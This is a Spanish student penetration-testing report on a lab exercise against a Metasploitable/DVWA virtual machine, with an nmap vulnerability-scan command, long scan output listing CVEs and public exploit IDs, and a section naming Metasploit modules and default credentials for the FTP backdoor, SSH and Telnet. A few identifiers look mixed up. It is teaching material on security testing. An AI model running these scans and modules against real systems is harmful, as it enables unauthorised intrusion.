



Pentesting Technical Report

Proyecto de Explotación de Pentesting en una Máquina Vulnerable

Edward Yepez

Madrid, junio de 2025

Introducción al Pentesting (Pruebas de Penetración)

El **Pentesting**, o Pruebas de Penetración, es un proceso crucial en el campo de la ciberseguridad que simula un ataque cibernético contra un sistema informático, red o aplicación web, con el objetivo de identificar vulnerabilidades de seguridad. A diferencia de los atacantes maliciosos, los pentesters son profesionales éticos que realizan estas pruebas con permiso explícito del propietario del sistema.

El propósito principal del pentesting es descubrir y evaluar las debilidades de seguridad antes de que puedan ser explotadas por actores malintencionados. Este proceso ayuda a las organizaciones a fortalecer sus defensas, proteger sus activos y cumplir con las normativas de seguridad.

Generalmente, un pentest sigue varias fases, que incluyen:

1. **Reconocimiento:** Recopilación de información sobre el objetivo.
2. **Escaneo de vulnerabilidades:** Identificación de posibles puntos débiles en los sistemas.
3. **Explotación:** Intento de aprovechar las vulnerabilidades encontradas para obtener acceso.
4. **Post-explotación:** Una vez dentro, se explora el sistema para entender su funcionamiento y buscar más información o puntos de acceso.
5. **Reporte:** Documentación detallada de los hallazgos y recomendaciones para mitigar los riesgos.

En el siguiente informe, se detallará el proceso de un ejercicio práctico de pentesting realizado en un entorno controlado de laboratorio, utilizando herramientas como **Nmap** para el descubrimiento de servicios y vulnerabilidades, y **Metasploit Framework** para la explotación de dichas debilidades.

1er paso se inicia la maquina metasploitable que contiene el DVWA

En la maquina Kali se ingresa la direccion ip en el navegador de la maquina DVWA

192.168.1.132



Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

- [TWiki](#)
- [phpMyAdmin](#)
- [Mutillidae](#)
- [DVWA](#)
- [WebDAV](#)

Luego se le añade el DVWA al final de la dirección IP abre la pagina nos pide usuario y password

The screenshot shows the DVWA web application running in a browser. The address bar shows "192.168.1.132/dvwa/index.php". The browser's address bar also shows "ali Forums", "Kali NetHunter", "Exploit-DB", "Google Hacking DB", and "OffSec". The DVWA logo is at the top. On the left is a sidebar with a menu: Home (highlighted), Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, SQL Injection (Blind), Upload, XSS reflected, XSS stored, DVWA Security, PHP Info, About, and Logout. The main content area has the heading "Welcome to Damn Vulnerable Web App!". Below this is a paragraph describing DVWA as a PHP/MySQL web application for security testing. It includes a "WARNING!" section advising not to upload DVWA to a public folder and a "Disclaimer" section stating that the authors are not responsible for misuse. There is also a "General Instructions" section. At the bottom of the main content area, a box says "You have logged in as 'admin'". At the bottom left of the page, it shows "Username: admin", "Security Level: high", and "PHPIDS: disabled".

En la maquina con DVWA se usa el comando ipconfig para obtener su direccion ip que es 192.168.1.132

luego se pasa a la terminal de la maquina Kali para usar el comando

```
sudo nmap -sV --script=vuln <IP-Target>
```

el comando escanea la máquina objetivo para identificar servicios y versiones, y luego ejecuta scripts para detectar posibles vulnerabilidades asociadas a esos servicios y versiones

luego de 8 minutos con 58 segundos me da los siguientes resultados

```
Nmap scan report for 192.168.1.132
Host is up (0.0010s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPD version 2.3.4 backdoor
|   State: VULNERABLE (Exploitable)
|   IDs: CVE:CVE-2011-2523 BID:48539
|   vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04.
|   Disclosure date: 2011-07-03
|   Exploit results:
|   Shell command: id
|   Results: uid=0(root) gid=0(root)
|   References:
|   https://github.com/rapid7/metasploit-framework/blob/master/modules/exploit
s/unix/ftp/vsftpd_234_backdoor.rb
|   http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backd
oored.html
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|_  https://www.securityfocus.com/bid/48539
| vulners:
|   vsftpd 2.3.4:
|   PACKETSTORM:162145      10.0      https://vulners.com/packetstorm/PACKETSTOR
M:162145      *EXPLOIT*
|   EDB-ID:49757      9.8      https://vulners.com/exploitdb/EDB-ID:49757      *E
XPLOIT*
|   CVE-2011-2523      9.8      https://vulners.com/cve/CVE-2011-2523
|_  1337DAY-ID-36095      9.8      https://vulners.com/zdt/1337DAY-ID-36095 *2: Del
EXPLOIT*
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:4.7p1:
|   95499236-C9FE-56A6-9D7D-E943A24B633A      10.0      https://vulners.com/github
exploit/95499236-C9FE-56A6-9D7D-E943A24B633A      *EXPLOIT*
|   5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A      10.0      https://vulners.com/github
exploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A      *EXPLOIT*
```

la imagen revela que la máquina escaneada es altamente vulnerable, especialmente a través de su servicio FTP, que contiene una puerta trasera conocida y explotable, y potencialmente a través de su servicio SSH. Estos hallazgos son cruciales para un

pentester, ya que identifican los puntos de entrada más probables para comprometer el Sistema.

```

M:140261      *EXPLOIT*
|   PACKETSTORM:138006      0.0      https://vulners.com/packetstorm/PACKETSTOR
M:138006      *EXPLOIT*
|   PACKETSTORM:137942      0.0      https://vulners.com/packetstorm/PACKETSTOR
M:137942      *EXPLOIT*
|   1337DAY-ID-30937      0.0      https://vulners.com/zdt/1337DAY-ID-30937 *
EXPLOIT*
|   1337DAY-ID-26468      0.0      https://vulners.com/zdt/1337DAY-ID-26468 *
EXPLOIT*
|   1337DAY-ID-25391      0.0      https://vulners.com/zdt/1337DAY-ID-25391 *
EXPLOIT*
|   1337DAY-ID-20301      0.0      https://vulners.com/zdt/1337DAY-ID-20301 *
EXPLOIT*
|_  1337DAY-ID-14373      0.0      https://vulners.com/zdt/1337DAY-ID-14373 *
EXPLOIT*
23/tcp  open  telnet      Linux telnetd
25/tcp  open  smtp      Postfix smtpd
| smtp-vuln-cve2010-4344:
|_  The SMTP server is not Exim: NOT VULNERABLE
| ssl-poodle:
|   VULNERABLE:
|   SSL POODLE information leak
|   State: VULNERABLE
|   IDs: CVE:2014-3566  BID:70574
|   The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
|   products, uses nondeterministic CBC padding, which makes it easier
|   for man-in-the-middle attackers to obtain cleartext data via a
|   padding-oracle attack, aka the "POODLE" issue.
|   Disclosure date: 2014-10-14
|   Check results:
|   TLS_RSA_WITH_AES_128_CBC_SHA
|   References:
|   https://www.imperialviolet.org/2014/10/14/poodle.html
|   https://www.securityfocus.com/bid/70574
|   https://www.openssl.org/~bodo/ssl-poodle.pdf
|_  https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
| ssl-dh-params:
|   VULNERABLE:
|   Anonymous Diffie-Hellman Key Exchange MitM Vulnerability
|   State: VULNERABLE
|   Transport Layer Security (TLS) services that use anonymous
|   Diffie-Hellman key exchange only provide protection against passive
|   eavesdropping, and are vulnerable to active man-in-the-middle attacks
|   which could completely compromise the confidentiality and integrity
|   of any data exchanged over the resulting session.
|   Check results:
|   ANONYMOUS DH GROUP 1
|   Cipher Suite: TLS_DH_anon_WITH_3DES_EDE_CBC_SHA
|   Modulus Type: Safe prime
|   Modulus Source: postfix builtin
|   Modulus Length: 1024
|   Generator Length: 8
|   Public Key Length: 1024

```

```

| EXPLOITPACK:F92411A645D85F05BDBD274FD222226F 5.5 https://vulners.com/exploitpack/EXPLOITPACK:F92411A645D85F05BDBD274FD222226F *EXPLOIT*
| EXPLOITPACK:9F2E746846C3C623A27A441281EAD138 5.5 https://vulners.com/exploitpack/EXPLOITPACK:9F2E746846C3C623A27A441281EAD138 *EXPLOIT*
| EXPLOITPACK:1902C998CBF9154396911926B4C3B330 5.5 https://vulners.com/exploitpack/EXPLOITPACK:1902C998CBF9154396911926B4C3B330 *EXPLOIT*
| CVE-2016-10011 5.5 https://vulners.com/cve/CVE-2016-10011
| 1337DAY-ID-25388 5.5 https://vulners.com/zdt/1337DAY-ID-25388 *EXPLOIT*
| EDB-ID:45939 5.3 https://vulners.com/exploitdb/EDB-ID:45939 *EXPLOIT*
| EDB-ID:45233 5.3 https://vulners.com/exploitdb/EDB-ID:45233 *EXPLOIT*
| CVE-2018-20685 5.3 https://vulners.com/cve/CVE-2018-20685
| CVE-2018-15473 5.3 https://vulners.com/cve/CVE-2018-15473
| CVE-2017-15906 5.3 https://vulners.com/cve/CVE-2017-15906
| CVE-2016-20012 5.3 https://vulners.com/cve/CVE-2016-20012
| SSV:60656 5.0 https://vulners.com/seebug/SSV:60656 *EXPLOIT*
| SSH_ENUM 5.0 https://vulners.com/canvas/SSH_ENUM *EXPLOIT*
| PACKETSTORM:150621 5.0 https://vulners.com/packetstorm/PACKETSTORM:150621 *EXPLOIT*
| EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0 5.0 https://vulners.com/exploitpack/EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0 *EXPLOIT*
| EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283 5.0 https://vulners.com/exploitpack/EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283 *EXPLOIT*
| CVE-2010-5107 5.0 https://vulners.com/cve/CVE-2010-5107
| 1337DAY-ID-31730 5.0 https://vulners.com/zdt/1337DAY-ID-31730 *EXPLOIT*
| CVE-2014-2532 4.9 https://vulners.com/cve/CVE-2014-2532
| EXPLOITPACK:802AF3229492E147A5F09C7F2B27C6DF 4.3 https://vulners.com/exploitpack/EXPLOITPACK:802AF3229492E147A5F09C7F2B27C6DF *EXPLOIT*
| EXPLOITPACK:5652DDAA7FE452E19AC0DC1CD97BA3EF 4.3 https://vulners.com/exploitpack/EXPLOITPACK:5652DDAA7FE452E19AC0DC1CD97BA3EF *EXPLOIT*
| CVE-2015-5352 4.3 https://vulners.com/cve/CVE-2015-5352
| 1337DAY-ID-25440 4.3 https://vulners.com/zdt/1337DAY-ID-25440 *EXPLOIT*
| 1337DAY-ID-25438 4.3 https://vulners.com/zdt/1337DAY-ID-25438 *EXPLOIT*
| CVE-2010-4755 4.0 https://vulners.com/cve/CVE-2010-4755
| CVE-2021-36368 3.7 https://vulners.com/cve/CVE-2021-36368
| CVE-2012-0814 3.5 https://vulners.com/cve/CVE-2012-0814
| CVE-2011-5000 3.5 https://vulners.com/cve/CVE-2011-5000
| SSV:92581 2.1 https://vulners.com/seebug/SSV:92581 *EXPLOIT*
| CVE-2011-4327 2.1 https://vulners.com/cve/CVE-2011-4327
| CVE-2015-6563 1.9 https://vulners.com/cve/CVE-2015-6563
| CVE-2008-3259 1.2 https://vulners.com/cve/CVE-2008-3259
| PACKETSTORM:151227 0.0 https://vulners.com/packetstorm/PACKETSTORM:151227 *EXPLOIT*
| PACKETSTORM:140261 0.0 https://vulners.com/packetstorm/PACKETSTORM:140261 *EXPLOIT*
| PACKETSTORM:138006 0.0 https://vulners.com/packetstorm/PACKETSTORM:138006

```

	SSV:92582	7.2	https://vulners.com/seebug/SSV:92582	*EXPLOIT*
	CVE-2016-10010	7.0	https://vulners.com/cve/CVE-2016-10010	
	SSV:92580	6.9	https://vulners.com/seebug/SSV:92580	*EXPLOIT*
	CVE-2015-6564	6.9	https://vulners.com/cve/CVE-2015-6564	
	1337DAY-ID-26577	6.9	https://vulners.com/zdt/1337DAY-ID-26577	*
EXPLOIT*				
	EDB-ID:46516	6.8	https://vulners.com/exploitdb/EDB-ID:46516	*E
XPLOIT*				
	EDB-ID:46193	6.8	https://vulners.com/exploitdb/EDB-ID:46193	*E
XPLOIT*				
	CVE-2019-6110	6.8	https://vulners.com/cve/CVE-2019-6110	
	CVE-2019-6109	6.8	https://vulners.com/cve/CVE-2019-6109	
	CVE-2023-51385	6.5	https://vulners.com/cve/CVE-2023-51385	
	CVE-2008-1657	6.5	https://vulners.com/cve/CVE-2008-1657	
	EDB-ID:40858	6.4	https://vulners.com/exploitdb/EDB-ID:40858	*E
XPLOIT*				
	EDB-ID:40119	6.4	https://vulners.com/exploitdb/EDB-ID:40119	*E
XPLOIT*				
	EDB-ID:39569	6.4	https://vulners.com/exploitdb/EDB-ID:39569	*E
XPLOIT*				
	CVE-2016-3115	6.4	https://vulners.com/cve/CVE-2016-3115	
	PACKETSTORM:181223	5.9	https://vulners.com/packetstorm/PACKETSTORM:181223	*EXPLOIT*
M:181223				
	MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-	5.9	https://vulners.com/metasploit/MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMUSERS-	*EXPLOIT*
	EDB-ID:40136	5.9	https://vulners.com/exploitdb/EDB-ID:40136	*E
XPLOIT*				
	EDB-ID:40113	5.9	https://vulners.com/exploitdb/EDB-ID:40113	*E
XPLOIT*				
	CVE-2023-48795	5.9	https://vulners.com/cve/CVE-2023-48795	
	CVE-2019-6111	5.9	https://vulners.com/cve/CVE-2019-6111	
	CVE-2016-6210	5.9	https://vulners.com/cve/CVE-2016-6210	
	CC3AE4FC-CF04-5EDA-A010-6D7E71538C92	5.9	https://vulners.com/github/exploit/CC3AE4FC-CF04-5EDA-A010-6D7E71538C92	*EXPLOIT*
	54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C	5.9	https://vulners.com/github/exploit/54E1BB01-2C69-5AFD-A23D-9783C9D9FC4C	*EXPLOIT*
	SSV:61911	5.8	https://vulners.com/seebug/SSV:61911	*EXPLOIT*
	EXPLOITPACK:98FE96309F9524B8C84C508837551A19	5.8	https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19	*EXPLOIT*
	EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97	5.8	https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97	*EXPLOIT*
	CVE-2014-2653	5.8	https://vulners.com/cve/CVE-2014-2653	
	1337DAY-ID-32328	5.8	https://vulners.com/zdt/1337DAY-ID-32328	*
EXPLOIT*				
	1337DAY-ID-32009	5.8	https://vulners.com/zdt/1337DAY-ID-32009	*
EXPLOIT*				
	SSV:91041	5.5	https://vulners.com/seebug/SSV:91041	*EXPLOIT*
	PACKETSTORM:140019	5.5	https://vulners.com/packetstorm/PACKETSTORM:140019	
M:140019				
	PACKETSTORM:136251	5.5	https://vulners.com/packetstorm/PACKETSTORM:136251	
M:136251				
	PACKETSTORM:136234	5.5	https://vulners.com/packetstorm/PACKETSTORM:136234	
M:136234				


```

| F0979183-AE88-53B4-86CF-3AF0523F3807 9.8 https://vulners.com/github
exploit/F0979183-AE88-53B4-86CF-3AF0523F3807 *EXPLOIT*
| CVE-2023-38408 9.8 https://vulners.com/cve/CVE-2023-38408
| CVE-2016-1908 9.8 https://vulners.com/cve/CVE-2016-1908
| B8190CDB-3EB9-5631-9828-8064A1575B23 9.8 https://vulners.com/github
exploit/B8190CDB-3EB9-5631-9828-8064A1575B23 *EXPLOIT*
| 8FC9C5AB-3968-5F3C-825E-E8DB5379A623 9.8 https://vulners.com/github
exploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623 *EXPLOIT*
| 8AD01159-548E-546E-AA87-2DE89F3927EC 9.8 https://vulners.com/github
exploit/8AD01159-548E-546E-AA87-2DE89F3927EC *EXPLOIT*
| 2227729D-6700-5C8F-8930-1EEAFD4B9FF0 9.8 https://vulners.com/github
exploit/2227729D-6700-5C8F-8930-1EEAFD4B9FF0 *EXPLOIT*
| 0221525F-07F5-5790-912D-F4B9E2D1B587 9.8 https://vulners.com/github
exploit/0221525F-07F5-5790-912D-F4B9E2D1B587 *EXPLOIT*
| CVE-2015-5600 8.5 https://vulners.com/cve/CVE-2015-5600
| SSV:78173 7.8 https://vulners.com/seebug/SSV:78173 *EXPLOIT*
| SSV:69983 7.8 https://vulners.com/seebug/SSV:69983 *EXPLOIT*
| PACKETSTORM:98796 7.8 https://vulners.com/packetstorm/PACKETSTORM:98796 *EXPLOIT*
M:98796 *EXPLOIT*
| PACKETSTORM:94556 7.8 https://vulners.com/packetstorm/PACKETSTORM:94556 *EXPLOIT*
M:94556 *EXPLOIT*
| PACKETSTORM:140070 7.8 https://vulners.com/packetstorm/PACKETSTORM:140070 *EXPLOIT*
M:140070 *EXPLOIT*
| PACKETSTORM:101052 7.8 https://vulners.com/packetstorm/PACKETSTORM:101052 *EXPLOIT*
M:101052 *EXPLOIT*
| EXPLOITPACK:71D51B69AA2D3A74753D7A921EE79985 7.8 https://vulners.com/exploitpack/EXPLOITPACK:71D51B69AA2D3A74753D7A921EE79985 *EXPLOIT*
| EXPLOITPACK:67F6569F63A082199721C069C852BBD7 7.8 https://vulners.com/exploitpack/EXPLOITPACK:67F6569F63A082199721C069C852BBD7 *EXPLOIT*
| EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09 7.8 https://vulners.com/exploitpack/EXPLOITPACK:5BCA798C6BA71FAE29334297EC0B6A09 *EXPLOIT*
| EDB-ID:24450 7.8 https://vulners.com/exploitdb/EDB-ID:24450 *EXPLOIT*
XPLOIT*
| EDB-ID:15215 7.8 https://vulners.com/exploitdb/EDB-ID:15215 *EXPLOIT*
XPLOIT*
| CVE-2020-15778 7.8 https://vulners.com/cve/CVE-2020-15778
| CVE-2016-10012 7.8 https://vulners.com/cve/CVE-2016-10012
| CVE-2015-8325 7.8 https://vulners.com/cve/CVE-2015-8325
| C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3 7.8 https://vulners.com/github
exploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3 *EXPLOIT*
| 1337DAY-ID-26494 7.8 https://vulners.com/zdt/1337DAY-ID-26494 *EXPLOIT*
XPLOIT*
| 10213DBE-F683-58BB-B6D3-353173626207 7.8 https://vulners.com/github
exploit/10213DBE-F683-58BB-B6D3-353173626207 *EXPLOIT*
| SSV:92579 7.5 https://vulners.com/seebug/SSV:92579 *EXPLOIT*
| SSV:61450 7.5 https://vulners.com/seebug/SSV:61450 *EXPLOIT*
| PACKETSTORM:173661 7.5 https://vulners.com/packetstorm/PACKETSTORM:173661 *EXPLOIT*
M:173661 *EXPLOIT*
| EDB-ID:40888 7.5 https://vulners.com/exploitdb/EDB-ID:40888 *EXPLOIT*
XPLOIT*
| CVE-2016-6515 7.5 https://vulners.com/cve/CVE-2016-6515
| CVE-2016-10708 7.5 https://vulners.com/cve/CVE-2016-10708

```

Las imágenes continúan detallando el informe de Nmap, centrándose principalmente en la identificación de vulnerabilidades, sus identificadores (CVE, EDB-ID, SSV) y enlaces a recursos adicionales (GitHub, vulners.com, exploit-db.com, cve.mitre.org). Cada entrada, marcada con *EXPLOIT*, VULNERABLE, o un CVE/EDB-ID, indica que se ha encontrado una debilidad o un exploit público conocido.

Se observan hallazgos importantes como:

- **Múltiples CVEs y Exploits genéricos:** Una gran cantidad de entradas listan identificadores de vulnerabilidades (CVE) y IDs de bases de datos de exploits (EDB-ID, SSV, PACKETSTORM, 1337DAY). Esto sugiere que la máquina Metasploitable contiene numerosas versiones de software con vulnerabilidades conocidas y documentadas. Muchos de ellos indican *EXPLOIT*, lo que significa que existen códigos de explotación públicos disponibles para esas vulnerabilidades.
- **Vulnerabilidades de SSH (continuación):** La sección que comienza con MSF:AUXILIARY-SCANNER-SSH-SSH_ENUMERARS- probablemente indica que Nmap, a través de sus scripts NSE, intentó enumerar usuarios válidos o información adicional sobre el servicio SSH, lo que puede ser útil para ataques de fuerza bruta o de credenciales. Se siguen listando EDB-IDs relacionados con SSH.
- **Vulnerabilidades SSL/TLS:**
 - **SSL POODLE Information leak:** Se detecta una fuga de información relacionada con la vulnerabilidad POODLE (CVE-2014-3566) en el protocolo SSL 3.0. Esto permite a atacantes Man-in-the-Middle descifrar el tráfico cifrado. Se proporcionan detalles sobre la fecha de divulgación y las verificaciones de seguridad.
 - **SSL Diffie-Hellman Key Exchange MitM Vulnerability (ANONYMOUS DH GROUP 1):** Se identifica una vulnerabilidad de intercambio de claves Diffie-Hellman anónimo que hace que el tráfico cifrado sea susceptible a ataques Man-in-the-Middle pasivos. La mención de "ANONYMOUS DH GROUP 1" y una clave pública de 1024 bits indica una configuración débil que puede ser explotada.
- **Servicios adicionales (Telnet y SMTP):**
 - **Telnet (Puerto 23/TCP):** Se detecta que el puerto 23/TCP está abierto y ejecuta el servicio Telnet de Linux. Telnet es un protocolo antiguo que envía credenciales y datos en texto claro, lo que lo convierte en una vulnerabilidad de por sí si se permite el acceso externo.
 - **SMTP (Puerto 25/TCP):** Se muestra que el puerto 25/TCP está abierto con el servicio Postfix smtpd. Se menciona que el servidor SMTP no es vulnerable a smtp-vuln-cve2010-4344, lo cual es una excepción positiva en este mar de vulnerabilidades.

estas imágenes proporcionan un panorama abrumador de la inseguridad de la máquina Metasploitable. Exhiben una gran cantidad de debilidades conocidas en diferentes

servicios, incluyendo el sistema operativo subyacente, el SSH, el FTP y los protocolos de cifrado, con la disponibilidad de exploits públicos para muchas de ellas. Esto refuerza el propósito de Metasploitable como un entorno ideal para practicar ataques y comprender cómo se manifiestan y explotan estas vulnerabilidades en un entorno real (aunque controlado).

```
| httponly flag not set
| /admin/home.jsp:
| JSESSIONID:
| httponly flag not set
| /admin/controlpanel.jsp:
| JSESSIONID:
| httponly flag not set
| /admin/admin-login.jsp:
| JSESSIONID:
| httponly flag not set
| /admin/cp.jsp:
| JSESSIONID:
| httponly flag not set
| /admin/account.jsp:
| JSESSIONID:
| httponly flag not set
| /admin/admin_login.jsp:
| JSESSIONID:
| httponly flag not set
| /admin/adminLogin.jsp:
| JSESSIONID:
| httponly flag not set
| /admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html:
| JSESSIONID:
| httponly flag not set
| /admin/includes/FCKeditor/editor/filemanager/upload/test.html:
| JSESSIONID:
| httponly flag not set
| /admin/jscript/upload.html:
| JSESSIONID:
| httponly flag not set
|_ http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.1.132
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.1.132:8180/admin/
| Form id: username
|_ Form action: j_security_check;jsessionid=6C4545BC620B33F7FE6B5CA7897807D2
|_ MAC Address: 08:00:27:8E:CA:B5 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
|
| Host script results:
|_ smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
|_ smb-vuln-ms10-054: false
|_ smb-vuln-ms10-061: false
|
| Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
| Nmap done: 1 IP address (1 host up) scanned in 539.58 seconds
```

❓ Resultados relacionados con la seguridad de la sesión (JSESSIONID y HttpOnly flag):

- Se muestran varias URLs que parecen ser parte de un panel de administración o páginas de login (/admin/home.jsp, /admin/controlpanel.jsp, etc.).
- La línea HttpOnly flag not set y JSESSIONID indica una posible vulnerabilidad de seguridad de sesión. La bandera HttpOnly evita que los scripts del lado del cliente (como JavaScript) accedan a las cookies de sesión, lo que ayuda a prevenir ataques de Cross-Site Scripting (XSS) que intentan robar cookies de sesión. Al no estar configurada, hace que la sesión sea más vulnerable a este tipo de ataques.

🔍 **Vulnerabilidades CSRF (Cross-Site Request Forgery):**

- Nmap ha intentado rastrear el sitio web (Spidering) en busca de vulnerabilidades CSRF.
- Ha encontrado una URL (http://192.168.1.132:8180/admin/) que podría ser susceptible a CSRF, indicando que el formulario de login no tiene una protección adecuada contra este tipo de ataques. Esto significa que un atacante podría engañar a un usuario autenticado para que realice una acción no deseada.

🔍 **Información del Host:**

- **MAC Address:** Muestra la dirección MAC de la máquina objetivo (08:00:27:8E:CA:B5) y el fabricante de la tarjeta de red virtual (PCS Systemtechnik/Oracle VirtualBox NIC), lo cual es información de huella digital del sistema.
- **Service Info:** Confirma que el host es metasploitable.localdomain, se conecta a irc.Metasploitable.lan, y el sistema operativo es Unix con un kernel linux_kernel.

🔍 **Resultados de scripts adicionales (SMB):**

- **_smb-vuln-regsvc-dos:** Este script intentó buscar una vulnerabilidad de denegación de servicio en el servicio de registro remoto de SMB. El resultado ERROR: Script execution failed sugiere que el script no pudo completarse correctamente, quizás debido a que el servicio no estaba presente o no respondió como se esperaba, o hubo algún problema de permisos.
- **_smb-vuln-ms10-054:** Este script buscaba una vulnerabilidad específica de Microsoft (MS10-054). El resultado false indica que la vulnerabilidad no fue detectada o no es aplicable.
- **_smb-vuln-ms10-061:** Similar al anterior, este script buscaba MS10-061 y también dio false. (Aunque Metasploitable es intencionalmente vulnerable, no todas las

vulnerabilidades SMB de Windows estarán presentes, ya que es un sistema basado en Linux con Samba).

? Resumen final del escaneo:

- Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>. - Mensaje estándar de Nmap.
- Nmap done: 1 IP address (1 host up) scanned in 539.58 seconds - Esta línea finaliza el informe, indicando que se escaneó una dirección IP (un host estaba activo) y el tiempo total que tomó el escaneo (aproximadamente 9 minutos).

Identifica exploits disponibles para las vulnerabilidades detectadas.

Basándonos en los resultados de tu escaneo Nmap (que hemos visto en las imágenes anteriores), las vulnerabilidades más destacadas y con exploits públicos disponibles son:

1. **Vulnerabilidad del Backdoor de vsftpd 2.3.4 (CVE-2011-2523 / EDB-ID: 48539)**
2. **Vulnerabilidades en OpenSSH 4.7p1** (mencionadas con varios CVEs y EDB-IDs)
3. **Vulnerabilidad SSL POODLE** (CVE-2014-3566)
4. **Vulnerabilidad ANONYMOUS DH GROUP 1** para el intercambio de claves SSL/TLS.
5. **Telnet (Puerto 23/TCP)**: Aunque no es un exploit en sí, el uso de Telnet es una debilidad, ya que transmite credenciales y datos en texto plano.

Identificación de Exploits Específicos:

1. Para la Backdoor de vsftpd 2.3.4 (CVE-2011-2523 / EDB-ID: 48539)

- **Ya identificado por Nmap:** Tu propio informe de Nmap ya te dio una pista clave:
 - Exploit results: Shell command: id
 - References: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploit/unix/ftp/vsftpd_234_backdoor.rb
 - Esto indica que existe un módulo de explotación en **Metasploit Framework** diseñado específicamente para esta vulnerabilidad. Metasploit es la herramienta principal que se utiliza para explotar esta backdoor.

- **En Exploit-DB:** Si buscas el EDB-ID: 48539 en Exploit-DB, encontrarás la entrada que describe esta vulnerabilidad y a menudo te dirá cómo explotarla, incluyendo referencias a Metasploit.

Conclusión: El exploit más directo y común para esta vulnerabilidad es el **módulo exploit/unix/ftp/vsftpd_234_backdoor** de Metasploit Framework.

2. Para OpenSSH 4.7p1

- Nmap listó varias CVEs y EDB-IDs bajo el puerto 22/tcp (SSH).
- **Investigación en bases de datos:** Para identificar los exploits disponibles, deberías tomar los CVEs y EDB-IDs que Nmap te proporcionó para OpenSSH 4.7p1 (por ejemplo, los de vulners.com que aparecen en tu informe) y buscarlos en:
 - **Exploit-DB:** Busca los EDB-IDs específicos.
 - **CVE Details o NVD:** Busca los CVEs.
 - **Metasploit (módulos auxiliares o de explotación):** Metasploit tiene muchos módulos para SSH, incluyendo escáneres de versiones, módulos de fuerza bruta (auxiliary/scanner/ssh/ssh_login), e incluso exploits específicos si la versión tiene una vulnerabilidad remota.

Conclusión: Necesitarías una investigación más profunda de cada CVE/EDB-ID específico que te dio Nmap para OpenSSH. Es muy probable que existan módulos de Metasploit o scripts en Python/Ruby en Exploit-DB para ataques de enumeración, fuerza bruta o quizás alguna vulnerabilidad de ejecución remota de código (RCE) si la versión lo permite.

3. Para la vulnerabilidad SSL POODLE (CVE-2014-3566) y ANONYMOUS DH GROUP 1

- **SSL POODLE:**
 - Esta es una vulnerabilidad en el protocolo SSL 3.0 que permite a un atacante Man-in-the-Middle descifrar el tráfico cifrado.
 - **Exploits:** No es un exploit que te dé un shell directamente. Generalmente, involucra herramientas como **sslsplit** o **mitmproxy** para realizar el ataque Man-in-the-Middle y luego forzar la degradación a SSL 3.0 para explotar POODLE y capturar información sensible. También hay módulos de Metasploit auxiliares para escanear y detectar POODLE (auxiliary/scanner/ssl/ssl_version).

- **ANONYMOUS DH GROUP 1:**

- Esta debilidad en el intercambio de claves Diffie-Hellman también está relacionada con ataques Man-in-the-Middle.
- **Exploits:** Al igual que POODLE, implica herramientas de MiTM para interceptar y manipular las conexiones cifradas. A menudo se utiliza con herramientas como **openssl s_client** para probar las capacidades del servidor o con **módulos de Metasploit** (como `auxiliary/scanner/ssh/ssh_grt_keys` o `auxiliary/scanner/ssl/openssl_heartbleed` si fuera un caso diferente, pero se busca algo relacionado con los cifrados débiles).

Conclusión: Para estas vulnerabilidades TLS/SSL, los exploits se centran más en ataques de interceptación y descifrado (Man-in-the-Middle) que en la obtención de un shell directo.

4. Para Telnet (Puerto 23/TCP)

- **Vulnerabilidad:** Telnet es vulnerable por diseño, ya que no cifra las comunicaciones (credenciales y datos viajan en texto plano).
- **Exploits:**
 - El "exploit" aquí es simplemente **conectarse al servicio Telnet** (`telnet <IP-Target>`) y capturar el tráfico con una herramienta como **Wireshark** en tu máquina Kali Linux para ver las credenciales en texto plano si alguien inicia sesión.
 - Si hay credenciales por defecto débiles (como `msfadmin/msfadmin` en Metasploitable), un atacante puede simplemente **iniciar sesión directamente**.
 - También existen módulos de Metasploit para fuerza bruta de Telnet (`auxiliary/scanner/telnet/telnet_login`).

En resumen, los exploits clave identificados son:

- **Para vsftpd 2.3.4 backdoor:** El módulo de Metasploit `exploit/unix/ftp/vsftpd_234_backdoor`. Este es el más directo para obtener una shell.
- **Para OpenSSH:** Módulos de Metasploit de escaneo/fuerza bruta (e investigación de CVEs específicos para RCEs si existen).

- **Para SSL/TLS:** Herramientas de Man-in-the-Middle y módulos auxiliares de Metasploit.
- **Para Telnet:** Conexión directa y captura de tráfico, o módulos de fuerza bruta en Metasploit.

